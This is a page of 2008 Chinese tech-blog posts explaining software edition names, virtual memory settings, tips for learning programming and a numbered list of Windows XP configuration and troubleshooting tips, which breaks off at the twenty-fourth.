registered: 很显然该版本是与unregistered相对的注册版,注册版、release和standard版一样,都是软件的正式版本。只是注册版软件的前身有很大一部分是从网上下载的。

standard:这是最常见的标准版,不论是什么软件,标准版一定存在。标准版中包含了该软件的基本组件及一些常用功能,可以满足一般用户的需求。其价格相对高一级版本而言还是平易近人的,如金山词霸Ⅲ标准版、office 97标准版等等。

deluxe:顾名思义即为“豪华版”,豪华版通常是相对于标准版而言,无非是多了几个“华而不实”的功能,价格却要高出一大块,因此不推荐一般用户购买。此版本通常是为那些追求“完美”的发烧友所准备的。

reference:该版本的型号常见于百科全书中,比较有名的是微软的encarta系列,reference是最高级别,其包含的主题、图像、影片剪辑等相对于 standard和deluxe版均有大幅增加,容量由一张光盘猛增至三张光盘,并且加入了不少新的交互功能,当然价格也不菲。可以这么说,这一版本的百科全书才能算是真正的百科全书,也是发烧友的收藏首选。

professional:专业版。专业版是针对某些特定的开发工具软件而言的,专业版中有许多内容是标准版中所没有的,这些内容对于一个专业的软件开发人员来说是极为重要的功能。如微软的visual foxpro标准版并不具备编译成可执行文件的功能(.exe文件),这对于一个完整的开发项目而言显然是无法忍受的,除非客户机上也有foxpro,如果用专业版就没有这个问题了。

enterprise:其中文译名为企业版。企业版是开发类软件中的极品(相当于百科全书中的 reference版)。拥有这一套版本的软件可以毫无障碍地开发任何级别的应用软件。如著名的visual c++的企业版相对于专业版包括了几个附加的特性:如sql调试、扩展的存储过程向导、支持as/400对ole db的访问等。而这一版本的价格也是普通用户难以问津的。如,microsoft的visual studio 6.0 enterprise中文版的价格为23000元。

其他版本

除了以上介绍的一些版本外,还有一些专有版本名称。

update:升级版。升级版的软件是不能独立使用的,该版本的软件在安装过程中会搜索原有的正式版,如不存在,则拒绝执行下一步。如microsoft office 97 升级版、windows 95升级版等等。不过有些升级版却是名不副实,经过改动,就可以……

oem:oem通常是出现在硬件中,如今软件业也出现了oem产品。将自己的产品交给别的公司去卖,并打上对方的标记,双方互惠互利,一举两得。

单机(网络)版:网络版在功能、结构上远比单机版复杂,如果留心一下软件的报价,你就会发现某些软件单机版和网络版的价格差别非常巨大,有些甚至多一个客户端口就要加不少钱。

普及版:该版本有时也会被称为共享版,其特点是:价格便宜(有些甚至完全免费),功能单一,针对性强(当然也有占领市场、打击盗版等因素)。与试用版不同的是,该版本的软件一般不会有时间上的限制,当然如果用户想升级,最好还是去购买正式版。

posted @ 2008-04-23 07:13 jadmin 阅读(58) | 评论 (0)编辑 收藏

具体操作如下:

右键单击我的电脑,选择“属性”单击“高级”选项卡,在“性能”里面单击“设置”按钮,选择“高级”选项卡,最下面有“虚拟内存”一项,单击“更改”按钮,在虚拟内存对话框里,选择C盘,选择“自定义大小”,然后在最小值输入框中输入“0”,最大值里也输入“0”,,单击“设置”。

然后选择D盘,设置你需要的最小值和最大值。完成后,单击“设置”按钮,最后,单击“确定”按钮,

系统可能要求重新启动,按“确定”,系统重新启动以后,虚拟内存就放到“D”盘了。

=============================

设置虚拟内存

虚拟内存的概念是相对于物理内存而言的,当系统的物理内存空间入不敷出时,操作系统便会在硬盘上开辟一块磁盘空间当做内存使用,这部分硬盘空间就叫虚拟内存。Windows 98中采用Win386.swp文件的形式,而Windows 2000/XP则采用页面文件pagefile.sys的形式来管理虚拟内存。
一、大小情况
1.一般情况
一般情况下,建议让Windows来自动分配管理虚拟内存,它能根据实际内存的使用情况,动态调整虚拟内存的大小。
2.关于最小值
Windows建议页面文件的最小值应该为当前系统物理内存容量再加上12MB,而对于物理内存容量小于256MB的用户,则建议将页面文件的最小值设得更大些:
①使用128MB或者更少内存的用户,建议将当前物理内存容量的1.75倍设置为页面文件的最小值。
②内存大小在128MB到256MB之间的用户,建议将当前物理内存容量的1.5倍设置为页面文件的最小值。
3.关于最大值
一般来说,页面文件的最大值设置得越大越好,建议设置为最小值的2到3倍。
4.极端情况
假如硬盘空间比较紧张,在设置页面文件时,只需保证它不小于物理内存的3/4即可。

如果物理内存很大(大于512MB),则可以将虚拟内存禁用。(上海 任亚维)
5.根据不同的任务环境设置
①以3D游戏为主的环境
3D游戏对CPU、显卡和内存要求都很高,如果物理内存小于256MB,建议把虚拟内存预设得大一点,这对提高游戏的稳定性和流畅性很有帮助。
②以播放视频为主的环境
视频应用对硬盘空间的“胃口”很大,不过千万不要像在3D游戏环境中一样把虚拟内存设得很大,尤其是Windows XP的用户。因为Windows XP不会自动把不需要的空间释放掉,也就是说那个Pagefiles.sys文件会越来越大。如果你把虚拟内存和Windows XP放在同一分区,播放RM、ASF等视频流文件以后,系统经常会提示你虚拟内存设得太小或是磁盘空间不足。查看此时的页面文件,已经足有1GB大小了。所以建议经常欣赏视频文件的Windows XP用户,把初始数值设小一点,或者将虚拟内存转移到系统盘以外的分区。
二、设置方法
下面以在Windows XP下转移虚拟内存所在盘符为例介绍虚拟内存的设置方法:进入“打开→控制面板→系统”,选择“高级”选项卡,点击“性能”栏中的“设置”按钮,选择“高级”选项卡,点击“虚拟内存”栏内的“更改”按钮,即可进入“虚拟内存”窗口;在驱动器列表中选中系统盘符,然后勾选“无分页文件”选项,再单击“设置”按钮;接着点击其他分区,选择“自定义大小”选项,在“初始大小”和“最大值”中设定数值,然后单击“设置”按钮,最后点击“确定”按钮退出即可。

posted @ 2008-04-22 13:28 jadmin 阅读(63) | 评论 (0)编辑 收藏

Ben Watson,知名开发者。任职于GeoEye,是其所属开发团队的领导者。本文发表于他自己的博客,阐述了十种学习新技术的方法。

1、要看书

在成千上万的编程图书中,可能很大一部分根本毫无用处。但是仍然有很多图书对你的(编程)能力有很大的提升。我一直坚持,相比在网络上查找很多有用信息,在同类图书中查找要来得更容易更快捷。阅读技术图书可心更好地抓住核心内容。对于理论,架构和设计等方面来说,图书也一样很有帮助。只不过要找到高质量的、权威的信息,就不如网络上可供查找的范围广。

2、读代码

这也是我很喜欢的一种方式。如果我并没有几年的专业编程工作经验,在学习之初我并不会去读很多复杂的代码。如果我要是早些开始学习,我将是一个比现在更好的程序员。但是,开始时我会从一些开源项目里,去学习那些源代码(当然,这些代码不能与我的工作有关,也不是我自己写的)。要从自己会使用到的,或者自己感兴趣的程序开始这项工作。我是从 Paint.net 这个网站里开始学习的,而且已经积累了很多关于 .NET 的编程技术。

读别人的代码可以为你提供更多不同的工作思路,这比你完全凭自己思考得到的工作方式要多。

3、写代码

谨记,要写大量的代码。从根本上来讲,最好的学习方法就是实践。如果不写代码,你根本不能把(某种语言中)内在的东西学习透彻。学习之初,可以从一些技术指南和图书中照搬一些尽量简单的程序。当然,这种照搬是要自己完全手工输入,而不是复制和粘贴,这两种之间的效果差别是很大的。这种方法的主旨就在于,使知识内在化,并思考其用法,而不是盲目照抄。学习过程中,要时常查找新的 API 调用方法,这其实是简单的事情。

最重要的是,要写一个你自己的程序,不管它是一个简单的游戏,或者是一个参与开源项目的程序,还是一个公为你自己使用的简单插件。用不同的方式来写程序,尽量尝试使用新的技术,新的技巧,新的设计方式。一定要让现在的项目比以往的项目更好。想要成一个优秀的开发者,这一点是核心。

4、与其他开发者交流

像Apple,微软,Google 等大公司一样的新闻描述的一样,(与其他开发者交流)可以让你解决一些复杂的问题。虽然这并不能让你感觉到自己已经成一个团队或是社区的成员,但是这种方法可以让你接触到更多不同的想法。

不同类型的项目要求不同的设计方法,代码技术,开发流程和设计思想。如果你工作在一个小团队里,你不必与太多的人接触,只要在用户群会议中找到一些人(来讨论)即可。如果这样还不行的话,参与到在线论坛中与其他人讨论(这时你需要更努力地寻找高质量的讨论内容)。

5、教会别人

相对于仅仅读代码之类的工作,教其他人学习可以让你更深入地学习某个技术,这种方法有着非凡的效果。教会别人某个技术,同样也会让你更专注于这种技术,并且可以比别人更深层次地理解它。同样你也会面对一些问题。

“如果你不能向一个六岁的儿童解析清楚一个概念,那么其实是你并没有完全理解它。”Albert Einstein说。

教学场景可以是无穷无尽的:与工作搭档一对一交流,休息碰面,非正式周会,学习茶会,教室,讨论发表会,等等。每周在相同理念开发者之间举办一次30分钟的非正式会议怎么样?每周,让几个人来就他们想要更深入了解话题,向大家传授这些技术知识,并且展开讨论。如果你知道你将要向团队成员们传授正学学习的知识,你是不是更想要了解这项技术的每个细节呢?

6、收听网络电台

如果你有空闲的时间,可以订阅网络电台节目。我现在最喜欢的编程节目就是.Net Rocks。这个节目还会做一些视频节目,叫做dnrTV 。这样会让你即时捕捉到最新最好的技术。一个人是不能学习到所有知识的,而网络电台刚是一个学习了解广泛知识的途径。

7、阅读博客

博客远远比阅读者要多,但是其中有一些却是极其优秀的。我这里不并不是要推荐博客,因为网络上已经有了足够多的博客。这是与真正在开发你所喜欢和使用的软件的开者联系的好方法。

8、学习新的语言

即使你已经在C(++,#) / JAVA 等语言上有很好的造诣,仍然有很多其他可以解决问题的编程语言。学习新的语言,是对你已有思维方式的挑战。这不仅仅是另一种语言,更是对思维的重新架构。的确,所有的语言最后都会被编译成汇编程序,但是这并不意味着高级语言毫无价值。

9、学习不正确的方式

除了要学习应该怎么做,还要学习不应该怎么做。经常阅读 Dailywtf.com ,学习你并不知道的经验与教训。学习适当的面向对象设计方式,代码写作方式和必须要写的代码等,是很好的方式,但是如果不细心的话也容易养成不良习惯。学习认识不正确的思路是负责项目开发至关重要的一环。

维基百科对很多觉的不正确方式有十分透彻的分类。

10、要谦虚。

学习,意味着:

◆用更好的知识代替不完美的知识;
◆增长你所不知道的知识。

只有承认自己有所不足,才能有学习的动力。归根到底,就是谦虚,不对吗?如果你开始认为你已经掌握了所有需要的知识,那么你就危险了。真正的学习是如饥似渴地追逐知识并使其内在化,这需要很大的努力。我们都知道这一点,但是要必须时常不断地提醒自己。

posted @ 2008-04-09 18:34 jadmin 阅读(97) | 评论 (0)编辑 收藏
 1、如何实现关机时清空页面文件

  打开“控制面板”,单击“管理工具→本地安全策略→本地策略→安全选项”,双击其中“关机:清理虚拟内存页面文件”一项,单击弹出菜单中的“已启用”选项,单击“确定”即可。

  2、如何自行配置WindowsXP的服务

  如果你是在单机使用WindowsXP,那么很多服务组件是根本不需要的,额外的服务程序影响了系统的速度,完全可将这些多余的服务组件禁用。单击“开始→控制面板→管理工具→服务”,弹出服务列表窗口,有些服务已经启动,有些则没有。我们可查看相应的服务项目描述,对不需要的服务予以关闭。如“Alerter”,如果你未连上局域网且不需要管理警报,则可将其关闭。

  3、Smartdrv程序有什么作用

  现象:在许多有关WindowsXP安装的介绍文章中都提到:“如果在DOS下安装WindowsXP非常慢,肯定是安装前未运行Smartdrv.exe。我想问这个Smartdrv.exe文件有什么饔?具体如何使用?

  Smartdrv.exe这个文件对于熟悉DOS的朋友肯定很清楚,主要作用是为磁盘文件读写增加高速缓存。大家知道内存的读写速度比磁盘高得多,如果将内存作为磁盘读写的高速缓存可以有效提高系统运行效率。Smartdrv.exe这个文件在Windows各个版本的安装光盘中或是硬盘上的Windows/command/里都有,只有几十KB,把这个文件复制到软盘下,启动系统后直接运行这个程序(可以不加参数,该程序会自动根据内存大小分配适当的内存空间作为高速缓存),再安装WindowsXP即可。另外提醒大家,这个程序在安装完Windows后,不要运行,否则Windows可用内存将减少。

  4、Win32k.sys是什么文件

  现象:我刚装了WindowsXP,可是接下去再装毒霸就发现病毒,位于F:\WINNT\SYSTEM32里的Win32k.sys文件,删又不可删,隔离又不行,在Windows98下或DOS下删就会导致WindowsXP不可启动,请问该文件是干什么用的,有什么方法解决?

  这个文件是WindowsXP多用户管理的驱动文件。在X:\Windows\System32\Dllcache目录下有此文件的备份。只要将此备份拷到X:\Windows\System32下替代带病毒的文件即可。做一张Windows98启动盘,并将Attrib.exe文件拷入软盘,此文件在装有Windows98的机器上的X:\Windows\Command目录下。在BIOS的AdvancedBIOSFeatures中将启动顺序调整为从A盘启动,进入DOS后,进入X:\Windows\System32目录,输入Attrib-s-h-rwin32k.sys,再进入X:\Windows\System32\dllcache目录下输入同样命令,再用copywin32k.sysX:\windows\System32覆盖原文件,再重新启动即可。

  

  5、WindowsXP的开机菜单有什么含义


  现象:最近我安装了WindowsXP操作系统,我知道在启动时按F8键或当计算机不能正常启动时,就会进入WindowsXP启动的高级选项菜单,在这里可以选择除正常启动外的8种不同的模式启动WindowsXP。请问这些模式分别代表什么意思?

  (1)安全模式:选用安全模式启动WindowsXP时,系统只使用一些最基本的文件和驱动程序启动。进入安全模式是诊断故障的一个重要步骤。如果安全模式启动后无法确定问题,或者根本无法启动安全模式,那你就可能需要使用紧急修复磁盘ERD的功能修复系统了。

  (2)网络安全模式:和安全模式类似,但是增加了对网络连接的支持。在局域网环境中解决WindowsXP的启动故障,此选项很有用。

  (3)命令提示符的安全模式:也和安全模式类似,只使用基本的文件和驱动程序启动WindowsXP。但登录后屏幕出现命令提示符,而不是Windows桌面。

  (4)启用启动日志:启动WindowsXP,同时将由系统加载的所有驱动程序和服务记录到文件中。文件名为ntbtlog.txt,位于Windir目录中。该日志对确定系统启动问题的准确原因很有用。

  (5)启用VGA模式:使用基本VGA驱动程序启动WindowsXP。当安装了使WindowsXP不能正常启动的新显卡驱动程序,或由于刷新频率设置不当造成故障时,这种模式十分有用。当在安全模式下启动WindowsXP时,只使用最基本的显卡驱动程序。

  (6)最近一次的正确配置:选择“使用‘最后一次正确的配置?启动WindowsXP”是解决诸如新添加的驱动程序与硬件不相符之类问题的一种方法。用这种方式启动,WindowsXP只恢复注册表项HklmSystemCurrentControlSet下的信息。任何在其他注册表项中所做的更改均保持不变。

  (7)目录服务恢复模式:不适用于WindowsXPProfessional。这是针对WindowsXPServer操作系统的,并只用于还原域控制器上的Sysvol目录和ActiveDirectory目录服务。

  (8)调试模式:启动WindowsXP,同时将调试信息通过串行电缆发送到其他计算机。如果正在或已经使用远程安装服务在你的计算机上安装WindowsXP,可以看到与使用远程安装服务恢复系统相关的附加选项。

  6、如何彻底删除XP

  现象:我装了WindowsMe和WindowsXP双系统,都是FAT32格式。C盘装WindowsMe,E盘装WindowsXP。昨天,WindowsXP系统丢失了SYSTEM32.DLL,启动不了。于是我在进入WindowsMe系统内,在E盘直接删除WindowsXP。但是,每次开机都出现多系统启动菜单,供选择。我该怎样才可以彻底删除XP?

  用一张Windows9x/Me的启动盘启动,在“A:”下输入“SYSC:”,给C盘重新传系统即可。

  7、如何处理WindowsXP不能自动关机现象

  


  现象:我的WindowsXP有时候不能自动关闭电脑,请问应该怎么办?

  安装完WindowsXP之后,有些计算机在单击关闭电脑之后并不能自动关闭,而需像以前的AT电源一样手动关闭。这主要是WindowsXP未启用高级电源管理。修正方法:单击“开始→控制面板→性能和维护→电源选项”,在弹出的电源选项属性设置窗口中,单击“高级电源管理”并勾选“启用高级电源管理支持”。

  8、如何创建“锁定计算机”的快捷方式

  因有急事而需要离开,但又不希望电脑进行系统注销,该怎么办?你完全可以通过双击桌面快捷方式来迅速锁定键盘和显示器,且无需使用“Ctrl+Alt+Del”组合键或屏幕保护程序。操作方法:在桌面上单击鼠标右键,在随后出现的快捷菜单上指向“新建”,并选择“快捷方式”。接着,系统便会启动创建快捷方式向导。请在文本框中输入下列信息:rundll32.exeuser32.dll,LockWorkStation,单击“下一步”。输入快捷方式名称。你可将其命名为“锁定工作站”或选用你所喜欢的任何名称,单击“完成”。你还可对快捷方式图标进行修改(我最喜欢的一个是由Shell32.dll所提供的挂锁图标)。如需修改快捷方式图标,请执行下列操作步骤:右键单击“快捷方式”,并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡,接着,单击“更改图标”按钮。在以下文件中查找图标文本框中,输入Shell32.dll,单击“确定”。从列表中选择所需图标,并单击“确定”。你还可为快捷方式指定一组快捷键,比如“Ctrl+Alt+L”。这种做法虽然只能帮助你节省一次击键,但却可使操作变得更加灵便。如需添加快捷键组合,请执行下列操作步骤:右键单击“快捷方式”,并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡,在快捷键文本框中,输入任何键值,而WindowsXP则会将其转换成快捷键组合(一般应采取Ctrl+Alt+任意键的形式)。如欲锁定键盘和显示器,只需双击相关快捷方式或使用所定义的快捷键即可。

  9、如何调整桌面图标颜色质量

  在桌面空白处单击鼠标右键,在打开的“显示属性”对话框中选择“设置”选项卡,通过“颜色质量”下拉列表你可以调整计算机的颜色质量。你也可以通过编辑注册表来调整桌面图标的颜色质量,具体操作步骤:

  打开注册表编辑器,进入HKEY_CURRENT_USER\ControlPanel\Desktop\WindowMetrics子键分支,双击ShellIconBPP键值项,在打开的“编辑字符串”对话框中,“数值数据”文本框内显示了桌面图标的颜色参数,系统默认的图标颜色参数为16。这里提供的可用颜色参数包括:4表示16种颜色,8表示256种颜色,16表示65536种颜色,24表示1600万种颜色,32表示TrueColor(真彩色)。你可以根据自己的不需要选择和设置你的桌面图标颜色参数。单击“确定”关闭“编辑字符串”对话框。注销当前用户并重新启动计算机后设置就生效。

  在桌面空白处单击鼠标右键,在打开的“显示属性”对话框中选择“外观”选项卡,在这里你可以方便地对整个桌面、窗口或者其他项目的字体和图标大小进行调整。

  不过,用这种方式设置图标大小有一定局限性,比如,用户只能选择系统已经提供的桌面大小方案,不能自己任意设置桌面图标的大小。如果你想随心所欲地对桌面图标大小进行调整,可以通过编辑注册表来达到目的。具体操作步骤是:打开注册表编辑器,进入HKEY_CURRENT_USER\ControlPanel\Desktop\WindowMetrics子键分支,双击ShellIconSize键值项,在打开的“编辑字符串”对话框中,“数值数据”文本框内显示了桌面图标的大小参数,系统默认29,用户可以根据自己的需要设置参数大小(参数越大,桌面图标也越大),然后单击“确定”关闭“编辑字符串”对话框。当你注销当前用户并重新启动计算机后设置就生效。

  

  10、如何对系统声音进行选择与设置


  系统声音的选择与设置就是为系统中的事件设置声音,当事件被激活时系统会根据用户的设置自动发出声音提示用户。选择系统声音的操作步骤如下:

  (1)在“控制面板”窗口中双击“声音及音频设备”图标,打开“声音及音频设备”属性对话框,它提供了检查配置系统声音环境的手段。这个对话框包含了音量、声音、音频、语声和硬件共5个选项卡。

  (2)在“声音”选项卡中,“程序事件”列表框中显示了当前WindowsXP中的所有声音事件。如果在声音事件的前面有一个“小喇叭”的标志,表示该声音事件有一个声音提示。要设置声音事件的声音提示,则在“程序事件”列表框中选择声音事件,然后从“声音”下拉列表中选择需要的声音文件作为声音提示。

  (3)用户如果对系统提供的声音文件不满意,可以单击“浏览”按钮,弹出浏览声音对话框。在该对话框中选定声音文件,并单击“确定”按钮,回到“声音”选项卡。

  (4)在WindowsXP中,系统预置了多种声音方案供用户选择。用户可以从“声音方案”下拉表中选择一个方案,以便给声音事件选择声音。

  (5)如果用户要自己设置配音方案,可以在“程序事件”列表框中选择需要的声音文件并配置声音,单击“声音方案”选项组中的“另存为”按钮,打开“将方案存为”对话框。在“将此配音方案存为”文本框中输入声音文件的名称后,单击“确定”按钮即可。如果用户对自己设置的配音方案不满意,可以在“声音方案”选项组中,选定该方案,然后单击“删除”按钮,删除该方案。

  (6)选择“音量”选项卡,打开“音量”选项卡。你可以在“设备音量”选项组中,通过左右调整滑块改变系统输出的音量大小。如果希望在任务栏中显示音量控制图标,可以启用“将音量图标放入任务栏”复选框。

  (7)你想调节各项音频输入输出的音量,单击“设备音量”区域中的“高级”按钮,在弹出的“音量控制”对话框里调节即可。这里列出了从总体音量到CD唱机、PC扬声器等单项输入输出的音量控制功能。你也可以通过选择“静音”来关闭相应的单项音量。

  (8)单击“音量”选项卡中的“扬声器设置”区域中的“高级”按钮后,在弹出的“高级音频属性”对话框你可以为自己的多媒体系统设定最接近你的硬件配置的扬声器模式。

  (9)在“高级音频属性”对话框中选择“性能”选项卡,这里提供了对音频播放及其硬件加速和采样率转换质量的调节功能。要说明的是,并不是所有的选项都是越高越好,你需要根据自己的硬件情况进行设定,较好的质量通常意味着较高的资源占有率。

  设置完毕后,单击“确定”按钮保存设置。

  

  11、如何分配临时管理权限


  许多程序在安装过程中都要求你具备管理权限。这里介绍了一种以普通用户身份登录的情况下,临时为自己分配管理权限的简单方法。在右键单击程序安装文件的同时按住“Shift”键。在随后出现的快捷菜单中单击“运行方式”,输入具有相应管理权限的用户名和密码。这种方式对于开始菜单上的应用程序同样适用。

  12、如何关闭WindowsXP的自动播放功能

  一旦你将多媒体光盘插入驱动器,自动运行就会从驱动器中读取数据,这会造成程序的设置文件和在音频媒体上的音乐立即开始。你可以用下面这个办法关闭这个功能:打开“开始→运行”,在对话框中输入“gpedit.msc”命令,在出现“组策略”窗口中依次选择“在计算机配置→管理模板→系统”,双击“关闭自动播放”,在“设置”选项卡中选“已启用”选项,最后单击“确定”按钮即可(图1-32)。

  

  13、如何恢复被破坏的系统引导文件


  现象:我只安装了WindowsXP系统,但在开机时显示“BOOT.INI非法,正从C:\WINDOWS\启动”,然后就进入了启动状态,并且也能照样工作,请问这是怎么一回事,能否在不重装系统的情况下使系统恢复到正常启动状态?

  出现这种情况是因为C盘下面的“Boot.ini”文件被破坏了。但是由于你的机器中只有一个操作系统,当然它就是默认的操作系统,即使“Boot.ini”文件被破坏了,也将自动地引导该系统进行装载。

  解决的办法是建立一个“Boot.ini”文件即可。其内容为:

  [BootLoader]

  Default=C:

  [OperatingSystems]

  C:\=“MicrosoftWindowsxp”

  14、如何恢复输入法图标

  现象:本人使用WindowsXP中文版,不慎使任务栏隐藏了输入法图标,请问该如何恢复输入法图标。

  打开“控制面板”,双击“区域和语言选项”图标,进入“区域和语言选项”对话框,选择“语言”选项卡,单击“详细信息”按钮,在弹出的对话框中单击“语言栏”按钮,在接着出现的“语言栏设置”对话框中勾选“在桌面上显示语言栏”选项。这时候桌面会出现语言栏,单击右上角的最小化按钮,输入法图标就回到任务栏中去了。

  15、如何恢复误删除的boot.ini文件

  现象:我第一次装WindowsXP时,重启后没有任何问题。但是由于误操作,删掉了C盘目录下的一个文件(文件名是:boot.ini),然后再重启时每次都显示两行字:“boot.ini是非法的。现在正从C:/Windows/下启动”。然后可以顺利进入WindowsXP。但是速度明显慢了,比没删这个文件时慢了很多,而且,每次都要看见那两行字。请问如何修复?

  boot.ini是系统启动时,需要查询的一个系统文件,它告诉启动程序本计算机有几个操作系统、各系统的位置在哪里等信息。重新恢复的方法如下:单击“开始”菜单,依次指向“程序→附件→记事本”,打开“记事本”,在记事本里输入:

  [bootloader]

  timeout=30

  default=multi(0)disk(0)rdisk(0)partition(1)\Windows

  [operatingsystems]

  multi(0)disk(0)rdisk(0)partition(1)\Windows=“MicrosoftWindowsXPProfessional”/fastdetect

  然后将它保存为名字是boot.ini的文件,并将此文件保存到C盘的根目录下即可。

  16、如何加快WindowsXP窗口显示速度

  我们可以通过修改注册表来改变窗口从任务栏弹出,以及最小化回归任务栏的动作,步骤如下:打开注册表编辑器,找到HKEY_CURRENT_USER\ControlPanel\Desktop\WindowMetrics子键分支,在右边的窗口中找到MinAnimate键值,其类型为REG_SZ,默认情况下此健值的值为1,表示打开窗口显示的动画,把它改为0,则禁止动画的显示,接下来从开始菜单中选择“注销”命令,激活刚才所作的修改即可。

  17、如何解决WindowsXP关机出现英文提示

  现象:我的WindowsXP关机时会出现一个进度条,并提示“Toreturntowindowsandcheckthestatusoftheprogramclickcancelifyouchoosetoendtheprogramimmediatelyyouwillloseanyunsaveddata.

  Toendtheprogramnowclickend.”然后就正常关机,但有时却不出现,我想会不会与我的东方影都3的记忆播放有关,但关闭记忆播放功能也无效,请问如何办?

  这是因为你关闭WindowsXP时还有程序在运行,请在关机之前保存并关闭一切应用程序。如果直接单击“End”按钮,那么未保存的任务会丢失,这时可以按“Ctrl+Alt+Del”打开任务管理器,然后关闭应用程序。如果在任务管理器列表中为空,那么就在“系统进程”中将它关闭。如果不进行任何操作,那么系统将在进度条到头时自动关闭未关闭的程序并关闭系统。请你在关机之前关闭一切应用程序、系统驻留程序就不会出现这个提示了。当你确定没有任何需要保存的任务时,可以不必理会此对话框。

  18、如何控制桌面的图标显示

  通常很多用户还是习惯于在桌面上保留“我的文档”及其他经常访问文件夹快捷方式以及经常使用的程序快捷方式。如果你想在桌面上显示“我的电脑”、“我的文档”、“网上邻居”、IE浏览器的快捷方式图标,只需进行如下操作:在桌面单击鼠标右键,在右键菜单中选择“属性”命令,在打开的“显示属性”对话框中选择“桌面”选项卡,单击“自定义桌面”按钮,打开“桌面”项目对话框。在“常规”选项卡的“桌面图标”栏中选择所需项目的复选框,然后单击“确定”返回上一级对话框,再单击“应用”按钮即可。

  19、如何删除WindowsXP的“更新”选项

  对于大多数的用户来说,WindowsXP的WindowsUpdate功能似乎作用不大,我们可以去掉它,操作步骤如下:打开注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer子键分支,选择“编辑”菜单下的“新建”命令,新建一个类型为REG_DWord的值,名称为NoCommonGroups,双击新建的NoCommonGroups子键,在“编辑字符串”文本框中输入键值“1”,然后单击“确定”按钮并重新启动系统即可。

  20、如何设置音频属性

  打开“控制面板”,双击“声音及音频设备”图标,在“声音及音频设备属性”对话框中,选择“音频”选项卡,在该选项卡中,你可以看到与“声音播放”、“录音”和“MIDI音乐播放”有关的默认设备。当你的计算机上安装有多个音频设备时,就可以在这里选择应用的默认设备,并且还可以调节其音量及进行高级设置。

  进行音频设置的操作步骤如下:

  (1)在“声音播放”选项组中,从“默认设备”下拉列表中选择声音播放的首选设备,一般使用系统默认设备。

  (2)用户如果希望调整声音播放的音量,可以单击“音量控制”窗口,在该窗口中,将音量控制滑块上下拖动即可调整音量大小。

  (3)在该窗口中,用户可以为不同的设备设置音量。例如,当用户在播放CD时,调节“CD音频”选项组中的音量控制滑块,可以改变播放CD的音量;当用户播放MP3和WAV等文件时,用户还可以在“音量控制”窗口进行左右声道的平衡、静音等设置。

  (4)用户如果想选择扬声器或设置系统的播放性能,可以单击“声音播放”选项组中的“高级”按钮,打开“高级音频属性”对话框,在“扬声器”和“性能”选项卡可以分别为自己的多媒体系统设定最接近你的硬件配置的扬声器模式及调节音频播放的硬件加速功能和采样率转换质量。

  (5)在“录音”选项组中,可以从“默认设备”下拉列表中选择录音默认设备。单击“音量”按钮,打开“录音控制”对话窗口。用户可以在该窗口中改变录音左右声道的平衡状态以及录音的音量大小。

  (6)在“MIDI音乐播放”选项组中,从“默认设备”下拉列表中选择MIDI音乐播放默认设备。单击“音量”按钮,打开“音量控制”窗口调整音量大小。

  (7)如果用户使用默认设备工作,可启用“仅使用默认设备”复选框。设置完毕后,单击“应用”按钮保存设置。

  21、如何设置语声效果

  用户在进行语声的输入和输出之前,应对语声属性进行设置。在“声音和音频设备属性”对话框中,选择“语声”选项卡,在该选项卡中,用户不但可以为“声音播放”和“录音”选择默认设备,而且还可调节音量大小及进行语声测试。

  (1)在“声音播放”选项组中,从“默认设备”下拉列表中选择声音播放的设备,单击“音量”按钮,打开“音量控制”窗口调整声音播放的音量。要设置声音播放的高级音频属性,单击“高级”按钮完成设置。

  (2)在“录音”选项组中,从“默认设备”下拉列表中选择语声捕获的默认设备,单击“音量”按钮,打开“录音控制”窗口调整语声捕获的音量。要设置语声捕获的高级属性,单击“高级”按钮完成设置。

  (3)单击“测试硬件”按钮,打开“声音硬件测试向导”对话框,该向导测试选定的声音硬件是否可以同时播放声音和注册语声。注释:要确保测试的准确性,在测试之前必须关闭使用麦克风的所有程序,如语声听写或语声通信程序。

  (4)单击“下一步”按钮,向导开始测试声音硬件,并通过对话框显示检测进度。

  (5)检测完毕后,打开“正在完成声音硬件测试向导”对话框,通告用户检测结果,单击“完成”按钮关闭对话框。

  (6)设置完毕后,单击“确定”按钮保存设置。

  22、如何手动使计算机进入休眠状态

  现象:请问如何用手动方式使WindowsXP的计算机进入休眠状态?

  休眠功能是WindowsXP提供的一项非常酷的特性,它“隐藏”在ShutDown(关机)对话框中。如果你的计算机支持休眠功能,那么借助以下技巧,可通过手动方式使其进入休眠状态。如需以手动方式使你的计算机进入休眠状态,请执行以下操作步骤:选择“开始→关闭计算机”,在关闭Windows对话框中,选择“休眠”。当你的计算机进入休眠状态后,内存中的内容将保存到硬盘上。当你将计算机唤醒时,进入休眠状态前打开的所有程序与文档都将恢复到桌面上。如需在你的计算机上激活休眠支持特性,请执行以下操作步骤:你必须以管理员、Administrators或PowerUsers组成员的身份登录。如果你的计算机与某个网络建立了连接,那么网络策略设置可能会导致这一操作过程无法实现。单击“开始→控制面板→性能和维护→电源选项”,选择“休眠”选项卡,选中“启用休眠”,单击“确定”关闭电源选项对话框。如果休眠选项卡不可用,则说明你的硬件设备无法支持该特性。

  23、如何提高WindowsXP的启动速度

  使用微软提供的“Bootvis”软件可以有效地提高WindowsXP的启动速度。这个工具是微软内部提供的,专门用于提升WindowsXP启动速度。下载解压缩到一个文件夹下,并在“Options”选项中设置使用当前路径。之后从“Trace”选项下拉菜单中选择跟踪方式。该程序会引导WindowsXP重新启动,并记录启动进程,生成相关的BIN文件。之后从Bootvis中调用这个文件,从Trace项下拉菜单中选择“Op-timizesystem”命令即可。

  WindowsXP虽然提供了一个非常好的界面外观,但这样的设置也在极大程度上影响了系统的运行速度。如果你的电脑运行起来速度不是很快,建议将所有的附加桌面设置取消,也就是将WindowsXP的桌面恢复到Windows2000样式。

  设置的方法非常简单:在“我的电脑”上单击鼠标右键,选择“属性”,在“高级”选项卡中单击“性能”项中的“设置”按钮,在关联界面中选择“调整为最佳性能”复选框即可。

  此外,一个对WindowsXP影响重大的硬件就是内存。使用256MB内存运行WindowsXP会比较流畅,512MB的内存可以让系统运行得很好。如果条件允许,最好增大内存。

  24、如何为WindowsXP减肥

  WindowsXP比以往的任何Windows系统都要庞大,其硬盘空间需求1.5GB。虽然相对于能跑WindowsXP的主流电脑来说,一般都拥有10GB以上的硬盘,但一些电脑发烧友有时还是乐于减少WindowsXP的体积。

  (1)删除驱动备份:Windows\Drivercache\i386目录下的Driver.cab文件(73MB)。

  (2)删除Help文档(减掉40多MB)。

